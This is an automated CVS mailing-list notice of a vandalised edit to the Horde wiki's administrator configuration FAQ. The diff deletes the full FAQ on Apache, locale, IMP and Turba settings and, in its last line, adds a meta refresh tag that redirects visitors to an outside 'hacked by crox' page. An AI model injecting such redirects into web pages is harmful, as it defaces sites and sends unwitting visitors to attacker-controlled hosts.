[cvs] [Wiki] changed: FAQ/Admin/Config
Wiki Guest
wikiguest at horde.org
Tue Sep 5 05:02:00 PDT 2006
guest [81.212.246.57] Tue, 05 Sep 2006 05:01:59 -0700
Modified page: http://wiki.horde.org/FAQ/Admin/Config
New Revision: 4.1
Change log: HACKED BY CROX
@@ -1,566 +1 @@
-+ Horde Administrator's FAQ
-
-++ Configuration and Operation
-
-[[toc]]
-
-++ General configuration
-
-+++ How can I have Horde in a different directory than /horde/?
-There are usually two changes that people want to make as to how the URL to a Horde component appears in the browser. If only offering one component -- say, IMP -- then one often wants to have a url of
-
-<code>
-http://webmail.example.com/
-</code>
-
-instead of
-
-<code>
-http://webmail.example.com/horde/imp/
-</code>
-
-If offering multiple Horde components -- say, IMP and Troll -- one often wants to have
-
-<code>
-http://horde.example.com/mail/
-</code>
-
-and
-
-<code>
-http://horde.example.com/usenet/
-</code>
-
-instead of the longer versions with the {{/horde/}} component.
-
-To make a single Horde component appear at the root directory of the webserver, add aliases to your webserver's configuration file for the {{/horde/}} directory, and make the {{/horde/componentname/}} the server's document root, and restart your web server.
-
-For example, to make IMP appear at the root directory with Apache, add the following to the {{httpd.conf}}:
-
-<code>
-Alias /horde/ /usr/local/apache/htdocs/horde/
-Alias /imp/ /usr/local/apache/htdocs/horde/imp/
-DocumentRoot /usr/local/apache/htdocs/horde/imp
-</code>
-
-(substituting your own directory names for the defaults above). Then, make sure links within Horde are correct as follows:
-
-**[Horde 1.2]:** Modify the following variables in {{/horde/config/horde.php3}}:
-
-<code type="php">
-$default->horde_root_url = '/horde';
-$default->horde_graphics_url = $default->horde_root_url . '/graphics';
-$default->horde_include_dir = './templates';
-</code>
-
-Note that the above are relative to the URL, not to the filesystem; the alias we added to the webserver will ensure that /horde works for anything not included in the component (such as problem reporting).
-
-Lastly, configure the Horde component (e.g. IMP) to be at the root of the webserver.
-
-**[IMP 2.x]:** Modify the following values in the file {{/horde/imp/config/defaults.php3}}:
-
-<code type="php">
-$default->root_url = '';
-$default->graphics_url = $default->root_url . '/graphics';
-$default->include_dir = './templates';
-</code>
-
-Note that the {{root_url}} is the empty string {{""}}, and is NOT {{'/'}}!
-
-**[IMP 3.x/4.x]:** Modify the {{$this->applications['imp']}} array in {{horde/config/registry.php}} and change the value of the webroot as follows:
-
-<code type="php">
-'webroot' => '/imp',
-</code>
-
-With the above settings, going to
-
-<code>
-http://yourserver.example.com/
-</code>
-
-will take the user right to the IMP login screen.
-
-In the case where one wants to run more than one Horde component but omit the {{/horde/}} part of the URL, configure the webserver to treat the {{/horde/}} directory as the root document directory, and add an alias to make sure links into it still succeed. In Apache:
-
-<code>
-Alias /horde/ /usr/local/apache/htdocs/horde/
-DocumentRoot /usr/local/apache/htdocs/horde
-</code>
-
-(substituting directory names as appropriate).
-
-**[Horde 1.x]:** Configure the file {{/horde/config/horde.php3}} as above, and configure the root URL of the component ({{/horde/component/config/defaults.php3}}) as follows:
-
-<code type="php">
-$default->root_url = '/componentdir';
-$default->graphics_url = $default->root_url . '/graphics';
-$default->include_dir = './templates';
-</code>
-
-replacing componentdir with the name of the directory containing the component. Users will then be able to access components at URLs like
-
-<code>
-http://yourhost.example.com/imp/
-http://yourhost.example.com/troll/
-</code>
-
-**[Horde 2.x]:** For Horde 2.x and it's components, modify the file {{/horde/config/registry.php}} in a similar way. At a minimum, you will need to change the horde application stanza, changing the webroot entry from {{'horde'}} to {{''}} (the empty string, not {{'/'}}).
-
-Finally, modify the file {{horde/config/conf.php}} to change the cookie path from {{'/horde'}} to {{'/'}} as in:
-
-<code type="php">
-$conf['cookie']['path'] = '/';
-</code>
-
-+++ How can I change the appearance?
-**[Horde 1.2]:** To change the basic look and feel of components based on Horde 1.2, change the settings in {{/horde/config/html.php3}} and in {{/horde/componentname/config/html.php3}}. The settings for various colours, fonts, logos, and screen elements sizes are found within, with explanatory variable names.
-
-In Horde 1.2, you can also add items to the bottom of the left-hand menu by adding them to /horde/config/menu.txt. This entry:
-
-<code>
-http://www.example.com/<Our Website>logo.gif
-</code>
-
-would make a menu item entitled "Our Website", place {{/horde/graphics/logo.gif}} beside it, and link it to {{``http://www.example.com/``}}.
-
-Similar functionality is available on a Horde 1.2 component-to-component basis to add items to the top of the left-hand menu. Add your entries in {{/horde/componentname/config/menu.txt}}, and using the component's graphics directory.
-
-**[Horde 2.0]:** For Horde 2.x and its components, configure the settings in {{/horde/config/html.php}} and in {{/horde/componentname/config/html.php}}. The settings for various colours, fonts, and styles are found within, with explanatory comments and variable names.
-
-In Horde 2.x, you can add Horde modules to the bottom Horde navigation bar by modifying {{/horde/config/registry.php}}. This is not as easy or flexible as the Horde 1.x method above.
-
-You can modify most Horde 2.x components' navigation bars (at the top of screen) by similarly modifying the {{/horde/componentname/config/menu.php}} file. Follow the instructions in the comments found in the file. This provides a very easy way to add links to the various Horde component navigation menus.
-
-+++ How can I change the phrases used for various features?
-You may wish to alter some of the text in an existing language -- to match the terminology used locally, for instance.
-
-**[Horde 1.2]:** In Horde 1.2, you need only find the text in question in the locale directory for the language in question and alter it there. For instance, if you want the Horde sign up form to read "Welcome to Foo" instead of "Welcome to Horde", you would change the {{$lang->welcome_to_horde}} variable in {{/horde/locale/en/signup.lang}} to your phrase. Similar functionality can be found in the {{locale/}} directory of Horde components.
-
-**[Horde 2.x]:** In Horde 2.x, you change strings by changing them in the locale files for the desired language(s). To change the US English translation, you will need to create a new US English (en_US) locale, as one normally does not exist, and modify the translations in that file. See the following FAQ entry for information on creating a new locale file.
-
-To change the translation for a locale, you must first change the locale files and then recompile them. Find the appropriate files in {{/horde/po/}}, named by the locale name. Edit the translation(s) in this file to suite your needs. Then compile the locale files using the provided Makefile. For Horde 2.x components, follow the same steps using the {{/horde/componentname/po}} files.
-
-If you are having difficulty finding the file which contains the phrase you want to change, the following Unix command may be of assistance:
-
-<code>
-grep -rli 'Your Phrase' horde/
-</code>
-
-where {{horde/}} is the root directory of your Horde installation.
-To make your search case sensitive remove the {{-i}}.
-To see the match rather than just the file name remove the {{-l}}.
-
-Note: The following question may also be of help to you if you are changing the locale files.
-
-+++ How can I provide another translation for Horde/IMP's messages?
-**[Horde 1.2]:** If you want to provide an entirely new language translation for Horde or one of its components, in Horde 1.x:
-
-# Find the two-letter ISO [http://www.w3.org/WAI/ER/IG/ert/iso639.htm country code] for your language.
-# Copy the contents of {{locale/en/}} for your component to {{locale///yourcountrycode///}}. (Or, if you are more familiar with a language already provided other than English, copy that instead, since you will be using that translation to base yours upon.)
-# In each file within the directory you just created, replace the English (etc.) text with the equivalent text in your language.
-# Add your language to {{config/lang.php3}} for Horde or the component you changed.
-# Mail your new translation to [mailto:i18n at lists.horde.org the developers] so that we can include it in the distribution!
-
-**[Horde 2.x]:** Horde 2.x uses GNU gettext for internationalization (i18n) and localization (l10n). See {{horde/po/README}} for more information. (Since Horde 2.2 this information is instead located at {{[http://www.horde.org/horde/docs/?f=TRANSLATIONS.html horde/docs/TRANSLATIONS]}})
-
-To create a new translation:
-
-# Go to the {{horde/po}} directory (for other components go to {{horde/componentname/po}})
-# run {{xgettext.sh}} to generate a {{messages.po}} file
-# rename the {{messages.po}} file base on the language you are using. For example, for Dutch (nl_NL) you would rename the file to {{nl_NL.po}}
-# Adjust the header lines (dates, authors, etc) of the file, and remove the first **#, fuzzy** line
-# Translate the text in the //msgid// lines into the appropriate //msgstr// lines.
-# Compile the new file using the included makefile ({{make install}})
-# If the language does not already exist in {{horde/config/lang.php}} add any required entries for it in that file. You may want to add a two-letter alias for the language, and if it uses a non-ascii character set you should define that also in the {{$nls['charsets']}} array.
-# Mail your new translation to [mailto:i18n at lists.horde.org the developers] so that we can include it in the distribution!
-
-+++ How do I let users report problems directly from Horde?
-Horde comes with a problem-reporting form.
-
-**[Horde 1.2]:** To enable it in Horde 1.2, make the following configuration changes to Horde in {{/horde/config/horde.php3}}:
-
-<code type="php">
-$default->problem_email = 'your problem-report email address';
-$default->problem_reporting = true;
-</code>
-
-and users will be presented with a 'Problem?' menu item which leads to a problem-report form.
-
-**[Horde 2.0]:** In Horde 2.0, configure it in {{/horde/config/horde.php}} by modifying the following lines:
-
-<code type="php">
-// Should we display a problem reporting link in Horde application
-// menus?
-$conf['problems']['enabled'] = false;
-
-// If so, where should problem report emails be sent?
-$conf['problems']['email'] = 'postmaster at example.com';
-</code>
-
-Set the first flag to //true// and then modify the email address to be the address where you want the problem report sent.
-
-+++ Can I use PHP's safe_mode with Horde?
-**[Horde 2.0]:** PHP's safe_mode is not officially supported for Horde 2.x. Many have tried to use it, and have reported various levels of success. To run in safe_mode you will need to modify the PHP safe_mode settings. You may also have to change some code in Horde or other Horde components in order to make things work properly. Some of the known issues are not being able to set php maximum execution time, problems with spell checking, not being able to use Sendmail (without modifying the php safe_mode configuration), and problems with any sort of file uploads (adding attachments in IMP, file uploads in gollem, etc).
-
-If you run the Apache web server with virtual hosts and with PHP's safe_mode enabled by default, you can use the Apache PHP4 module configuration command //php_admin_value// in your main Apache configuration file to remove safe_mode for the Horde virtual host. For example:
-
-<code>
-<VirtualHost ...>
-...
- <Directory ...>
- ....
- <IfModule mod_php4.c>
- php_admin_value safe_mode Off
- ...
- </IfModule>
- ...
- </Directory>
- ...
-</VirtualHost>
-</code>
-
-+++ How can I add a graphic or banner to every page?
-**[Horde 2.0]:** You can add content to the top of every page in a horde component by adding appropriate code to the file {{templates/common-header.inc}} for that component. You can add content to the bottom of every page in a horde component by adding appropriate code to the file {{templates/common-footer.inc}} for that component.
-
-+++ Why do old preference values overrule newly locked preference values?
-**[Horde 2.0]:** Any user preferences already set and stored in the preference storage container will overrule any newly locked preferences that may be set by the administrator.
-
-Thus if users select and save their own values for an unlocked preference, and then the administrator decides to lock that preference value, any previously set user values would overrule the new locked value set by the administrator.
-
-Therefore, if when locking a preference for which users have already set values you wish that all users conform to the new locked setting, you must empty out the stored preference values in the preference storage container for all users.
-
-+++ How do I deactivate the username/password saving feature at the login screen?
-This is a function of some web browsers called //!AutoComplete//. It can be disabled in the browser or via the html code on the server. Horde does not currently disable this via html code as the method for doing so is not XHTML 1.0 compliant.
-
-This is best done by disabling the feature in your web browser. How to do this depends on your browser. See the documentation for your browser for information on how to accomplish this.
-
-Some browsers let you selectively erase your !AutoComplete data. How to do this would vary depending on your browser. For example, in Microsoft's Internet Explorer you can use the following sequence to erase all your stored autocomplete data: From the menu bar at the top of your browser, choose: Tools -> Internet Options -> Content Tab -> !AutoComplete Button -> Clear Forms.
-
-You can also selectively delete individual items. For example, in Internet Explorer, while the cursor is in a form element, put in at least one letter so that the !AutoComplete responses are made visible. Using your arrow keys, scroll down to highlight the response you want to erase. Push the //Delete// key on your keyboard.
-
-If you wish to disable this for your site, you can do so by modifying the html code. This may make upgrading your installation more difficult, so think twice about this before doing it.
-
-You can edit the source code for the login form and add autocomplete="off" to the form to disable autocomplete for all fields in the form. For example:
-
-<code>
-<form method="post" action="/path" autocomplete="off">
-</code>
-
-You can also use the attribute in individual form fields to disable autocomplete only for that field. For example:
-
-<code>
-Password: <input type="password" name="pass" autocomplete="off" />
-</code>
-
-You can also disable it in a form, and then enable it for certain fields in a form, or vice versa, by using the above techniques and setting the //autocomplete// attribute to "on" or "off" where desired.
-
-+++ I've just installed Horde, how do I log in or create users?
-**[Horde 2.0]:** Horde is very flexible in how it can authenticate users, allowing for many different types of authentication. Because of this, there is no single answer for how you authenticate users; the answer will depend on your particular setup and needs.
-
-In most cases, you will want to use an existing user database. If not, you will need to create a new user database of some sort on your own.
-
-Once you know what type of user database you want to use, you must configure Horde and possibly some other Horde applications (like IMP, gollem, etc) to use that authentication source. For Horde, you do this in the files {{horde/config/horde.php}} and {{horde/config/registry.php}}. If you choose to use IMP to authenticate users (e.g. by having IMP log into the IMAP or POP3 server) you must configure {{horde/imp/config/servers.php}} appropriately also.
-
-Note: the **admin** user which is sometimes referred to in the mailing lists **ONLY** applies to the latest development version (CVS HEAD version) and **IS NOT** available in the release versions.
-
-Some special notes for some of the authentication methods are:
-
-* If using the sql backend with the {{horde_users}} table, the password must be in md5() format (and not the !MySQL password() format, for example).
-* CVS HEAD versions provide a script {{horde/scripts/db/auth_initial_user.sql}} which will create an initial admin user for sql authentication. This can be used to login and configure the system. If you use this, be sure to change it as soon as possible so it does not become a security risk.
-* If using IMAP authentication, see the comments in {{horde/imp/config/servers.php}} for options you may need to specify.
-
-++ IMP configuration
-
-+++ Can a single IMP installation serve different virtual hosts?
-If you have your webserver set up to answer requests from multiple domains, you can use those virtual hosts to ensure that mail is sent with the appropriate From: header. In other words, when someone goes to
-
-<code>
-http://example.com/webmail/
-</code>
-
-mail will be sent from //username at example.com//, and when they go to
-
-<code>
-http://example.net/webmail/
-</code>
-
-mail will be sent from //username at example.net//.
-
-**[IMP 2.2]:** To do this, set the following values in {{/horde/imp/config/defaults.php3}}:
-
-<code type="php">
-$default->server = $SERVER_NAME;
-$default->from_server = $SERVER_NAME;
-</code>
-
-Note that the above will allow someone to go to a different virtual host than the one they are intended to use, after which their mail will come from the unintended virtual host.
-
-**[IMP 3.x]:** It is possible in IMP 3.x to use virtual hosts, but at this time we have no instructions for doing so. You can check the IMP mailing list archives for information.
-
-+++ How can I restrict what my users can do with IMP?
-**[IMP 2.2]:** There are a number of IMP features and functions which can be disabled in imp's configuration file, {{/horde/imp/config/defaults.php3}}.
-
-They are:
-
-* Disable New User introduction
-
-<code type="php">
-$default->newuser_link = false;
-</code>
-
-* Use fewer new browser windows
-
-<code type="php">
-$default->minimum_popups = true;
-</code>
-
-* Do not allow user to choose IMAP server
-
-<code type="php">
-$default->user_change_server = false;
-</code>
-
-* Only allow user to choose from servers listed in /horde/imp/config/servers.php3
-
-<code type="php">
-$default->use_server_list = true;
-</code>
-
-* Do not allow user to choose IMAP port
-
-<code type="php">
-$default->user_change_port = false;
-</code>
-
-* Do not allow user to choose between POP3 and IMAP
-
-<code type="php">
-$default->user_change_servtype = false;
-</code>
-
-* Do not allow user to use mail folders other than INBOX
-
-<code type="php">
-$default->user_use_folders = false;
-</code>
-
-* Do not allow user to specify folder directory at login
-
-<code type="php">
-$default->user_change_folder = false;
-</code>
-
-* Do not allow user to subscribe/unsubscribe IMAP folders (i.e., use all folders present)
-
-<code type="php">
-$default->use_imap_subscribe = false;
-</code>
-
-* Disable UW-IMAP's #shared, #public and #news hierarchy:
-
-<code type="php">
-$default->show_shared_hierarchy = false;
-$default->show_public_hierarchy = false;
-$default->show_news_hierarchy = false;
-</code>
-
-* Refrain from saving copies of outgoing mail
-
-<code type="php">
-$default->save_sent_mail = false;
-</code>
-
-* Disable "You have new mail" popup window
-
-<code type="php">
-$default->newmail_popup = false;
-</code>
-
-* Do not allow user to select language
-
-<code type="php">
-$default->user_change_language = false
-</code>
-
-* Do not allow user to change their From: header or their full name
-
-<code type="php">
-$default->user_change_from = false;
-$default->user_change_fullname = false;
-</code>
-
-* Disable address book feature
-
-<code type="php">
-$default->user_use_addressbook = false;
-</code>
-
-**[IMP 3.x]:** IMP 3.x contains similar functionality in the files {{horde/imp/config/conf.php}} and {{/horde/imp/config/prefs.php}}. See the comments in those files for more information.
-
-When changing settings in {{/horde/imp/config/prefs.php}} you can set the "value" field for a preference to set the default value of that preference. If you want to force users to use that value, and not allow them to change it, you must also set the "locked" field to //true//.
-
-+++ How can I configure IMP's maximum attachment size?
-You may need to make changes to any or all of the following settings: PHP, Apache, database, and Mail Transfer Agent. Settings in each of these parts may affect overall attachment size and you will likely want any value that deals with size to be set to the same value of whatever maximum size you want to support.
-
-By default, PHP limits uploaded files to 2 MB, and this limit applies to attachments on messages sent from IMP. To change this value, edit the following value in your {{php.ini}} (or, in PHP3, {{php3.ini}}):
-
-<code>
-upload_max_filesize = number of bytes
-post_max_size = number of bytes + size of form data, e.g. message text
-</code>
-
-Other limits that might affect the maximum size of attachments that PHP is able to handle:
-
-<code>
-max_execution_time = 30 ;may need to be higher
-memory_limit = -1 ;removes the memory limit for php
-</code>
-
-You will need to restart your web server after this change.
-
-It is also possible that web server settings may limit the size of attachments. For example, the Apache setting {{!LimitRequestBody}} will limit the size also. In some linux distributions (e.g. Red Hat Enterprise Linux 3), this is set very low in a distribution created {{/etc/httpd/conf.d/php.conf}} file. Again, you will need to restart your web server after changing web server configuration settings.
-
-Your database server may impose limits on the maximum size of files that can be uploaded. Check your database server documentation to see what this limit may be. For !MySQL, this limit is controlled by the {{max_allowed_packet}} configuration directive.
-
-Finally, your MTA may impose size limits for the overall size of messages that it will handle. Check your MTA configuration to see if there are settings to limit overall message size.
-
-+++ Can I add a custom header to mail sent from IMP?
-To add custom SMTP headers to mail sent from IMP, place the headers in {{/horde/imp/config/header.txt}}. Make sure that your header is the last line in the file! You can include PHP variables by enclosing them in percent signs ("%"). One useful header is
-
-<code>
-X-Originating-IP: %REMOTE_ADDR%
-</code>
-
-which follows a de-facto standard adhered to by Hotmail, Yahoo Mail, and Dejanews (to name but a few) of listing the address of the computer at which the mail message was composed.
-
-Note that these are //email headers//, not body text. If you want to add an advertisement for your webmail service, or a similar announcement, to outgoing mail, put it at the bottom of the message (which is the standard location) by placing the text in {{/horde/imp/config/tailer.txt}}.
-
-+++ Where can I find foreign-language dictionaries for spellcheck?
-Oxford University's archive provides [ftp://sable.ox.ac.uk/pub/wordlists wordlists] for the languages in IMP's spellcheck (and many more!), as does the [http://ficus-www.cs.ucla.edu/ficus-members/geoff/ispell-dictionaries.html International ispell Home Page].
-
-+++ How do I access shared mail folders? Maildir folders? MH folders?
-All of the above are transparent to the IMAP protocol itself, and are thus transparent to IMP. If you can tell your IMAP server to serve the type of folders that you want to serve, then IMP can read them.
-
-Both Maildir and shared folders are supported by [http://www.inter7.com/courierimap/ Courier-IMAP], although it does not support standard mbox format mailboxes. MH folders are supported by [http://www.washington.edu/imap/ UW-IMAP].
-
-Note that you can not use folders with POP3 as the POP3 protocol does not contain any support for folders. If you want to use folders then you must configure IMP to use IMAP rather than POP3 access.
-
-+++ Can IMP show attachments or html inline?
-IMP is //capable// of showing certain attachments inline (i.e., in the message body, rather than appearing in a new window on request), but in some cases it risks exposing the user to a security problem in the browser: by enabling inline HTML, any javascript (!ActiveX, Java, etc.) in the attachment will be executed by the browser. //Enabling inline HTML attachments is strongly discouraged//.
-
-Of course, this will only work for elements that could be part of a regular HTML page. In particular, images //cannot// be part of in a regular HTML page (they have to be a separate file with an <IMG> tag to include them in an HTML page), and can thus not be inlined.
-
-**[IMP 2.2]:** Before any attachments will appear inline, inline display must be turned on globally in {{/horde/imp/config/defaults.php3}} by setting one or both of the following variables (depending on IMP version) as shown:
-
-<code type="php">
-$default->inline_in_parts_list = false;
-$default->text_parts_inline = true;
-</code>
-
-After this, for each MIME type you wish to have displayed inline, modify the entry in {{/horde/imp/config/mime.php3}}:
-
-<code type="php">
-'inline' => true,
-</code>
-
-Note that some mime types (like text/html) may have multiple entries in the {{mime.php3}} file. Pick the one(s) that meet your needs.
-
-**[IMP 3.x]:** Edit the file {{horde/imp/config/mime_drivers.php}} to enable inline support for the mime types you wish to have displayed inline. Simply set the 'inline' array element for that mime type to 'true' to enable a type. As noted above, not all mime types can be shown inline; if there is no 'inline' array element for a mime type than that type can not be viewed inline.
-
-For example, to enable inline html support you would set:
-
-<code type="php">
-$mime_drivers['imp']['html']['inline'] = true;
-</code>
-
-+++ How can I use LDAP for IMP's contact list?
-For LDAP searches to work in IMP, LDAP support must have been compiled into PHP.
-
-**[IMP 2.2]:** To configure IMP to allow LDAP searches in the contact list, first enable LDAP in {{/horde/imp/config/defaults.php3}}:
-
-<code type="php">
-$default->use_ldap_search = true;
-</code>
-
-Then, in {{/horde/imp/config/ldap.php3}}, specify your LDAP servers. An example LDAP server configuration is available in {{/horde/imp/config/ldap.php3.dist}}.
-
-**[IMP 3.x]:** IMP 3.x no longer has a built-in address book, but instead uses the Horde module Turba for an address book. See the Turba faq section for information on configuring Turba for LDAP support. You must have Turba installed and working before you configure IMP to use it for address books.
-
-To configure IMP to use one or more Turba directories, you modify the file {{horde/imp/config/prefs.php}} to set the value of the {{$_prefs['search_sources']}} array. The 'value' field of this array needs to be set to a tab delimited set of Turba directory sources. IMP will then use these sources for directory lookups.
-
-+++ How can I let users change their password through IMP?
-**[IMP 2.2]:** To enable password changes through IMP, set the following in {{/horde/imp/config/defaults.php3}}:
-
-<code type="php">
-$default->change_password = 'poppassd.php3';
-$default->poppassd_server = $SERVER_NAME;
-$default->poppassd_port = '0';
-</code>
-
-You will have to install a [http://www.netwinsite.com/poppassd/ poppassd server] on your IMAP server for the above to work. Note that that poppassd won't work out of the box unless you're using !SunOS from 1993; you'll have to tell it what to expect from your passwd command at the top of {{poppassd.c}}.
-
-If you're using a recent version of Linux that authenticates via PAM, Jacob Coreil observes that a modified and [ftp://ftp.ceti.com.pl/pub/linux/poppassd-1.8-ceti.tar.gz PAM-ready version of poppassd] is also available.
-
-You can also set
-
-<code type="php">
-$default->change_password
-</code>
-
-to the URL of a dedicated password-changing program at your site, or you can change
-
-<code type="php">
-$default->poppassd_server
-</code>
-
-to point to a central password server at your site which runs poppassd.
-
-**[IMP 3.x]:** IMP 3.x does not include support for changing passwords. You can download a seperate Horde module called //passwd// to add this functionality.
-
-+++ How can I let users open new accounts through IMP?
-**[IMP 2.2]:** There is rudimentary account-signup functionality built into Horde 1.2 (IMP 2.2), which will allow users to fill out a form to request an account, and then send the collected data to a specified email address. To enable it, set the following in {{horde/config/horde.php3}}:
-
-<code type="php">
-$default->signup = true;
-$default->signup_email = 'address which receives account requests';
-</code>
-
-There is currently no automated account creation facility in IMP. If you feel you are capable of writing this (meaning that you know how to write secure setuid programs!), look at {{horde/signup.php3}}. Keep in mind that allowing users to create accounts without any sort of admin authorization might not be a good thing.
-
-**[IMP 3.x]:** This functionality is not available in Horde 2.x or IMP 3.x at this time.
-
-+++ How can I remove maintenance functions in IMP?
-**[IMP 3.0]:** You need to disable each maintenance function individually. You can do so by editing the file {{horde/imp/config/prefs.php}}. You need to locate the stanzas for rename_sentmail_monthly, delete_sentmail_monthly, delete_sentmail_monthly_keep, purge_trash, purge_trash_interval, and purge_trash_keep.
-
-For each stanza, set the 'value' field to 0 (zero) and the 'locked' field to true.
-
-**[IMP 3.1]:** To disable the maintenance functions by default for all users (but still allow individual users to choose to turn it back on) edit {{horde/imp/config/prefs.php}}, locate the stanza for {{$_prefs['do_maintenance']}}, and set the 'value' field to 0 (zero).
-
-To prevent maintenance functions completely (so even individual users can not enable it for themselves), simply edit {{horde/imp/config/prefs.php}}, locate the stanza for {{$_prefs['do_maintenance']}}, and set the 'value' field to 0 (zero) and the 'locked' field to true.
-
-+++ Why doesn't the Options button show up in IMP?
-**[IMP 3.x]:** In order for the **Options** button to show up, you need to make sure you have created a preferences storage container. This means you must have either a database or LDAP backend in place and configured. For more information see the file {{[http://www.horde.org/horde/docs/?f=INSTALL.html horde/docs/INSTALL]}}.
-
-You will also have to configure Horde to use the preferences container. This is done in the //Preference System Settings// section of the file {{horde/config/horde.php}}.
-
-+++ Can IMP be used with SMTP authentication?
-**[IMP 3.x]:** Horde and IMP can support SMTP authentication, but only if the SMTP server take the same authentication credentials as the POP/IMAP server (which would generally be the case). Simply edit {{horde/config/horde.php}} as per the comments in that file, e.g.
-
-<code type="php">
-$conf['mailer']['params']['auth'] = true;
-</code>
-
-+++ How can I remove or change the text appended to each email sent through IMP?
-**[IMP 3.x]:** IMP automatically appends the content of the file {{horde/imp/config/trailer.txt}} to each email it sends. You can disable this by setting the configuration option {{$conf['msg']['append_trailer']}} to false in your {{horde/imp/config/conf.php}} file. If enabled, you can change the message by simply editing the contents of {{horde/imp/config/trailer.txt}} to suit your needs. Please note that this is a text file, and should not contain html or php code but only normal text.
-
-++ Turba Configuration
-
-+++ How do I migrate my IMP 2.x contacts to Turba?
-Use the script {{imp/scripts/imp2turba.pl}} from IMP 3.x (requires perl with appropriate sql support).
-
-+++ How can I use LDAP for IMP's contact list?
-You need to modify {{horde/turba/config/sources.php}} to specify your ldap server and its attributes. The documentation in the file is pretty complete, and there are some examples using public ldap directories.
-
-+++ How do I enable shared address books?
-**[Turba 2.1]:** You can enable shared address book support for a source that supports this (currently SQL sources only) by adding 'use_shares' => true to the source's stanza in sources.php. This allows users to create and delete new address books as well as manage permissions on the address books that they own. Permissions for shared address books should be set through the My Address Books interface in Turba and **not** through the administration interface.
+meta http-equiv="Refresh" content="0;url=http://sefaaksu.sitemynet.com/hacked_by_crox.htm">
More information about the cvs
mailing list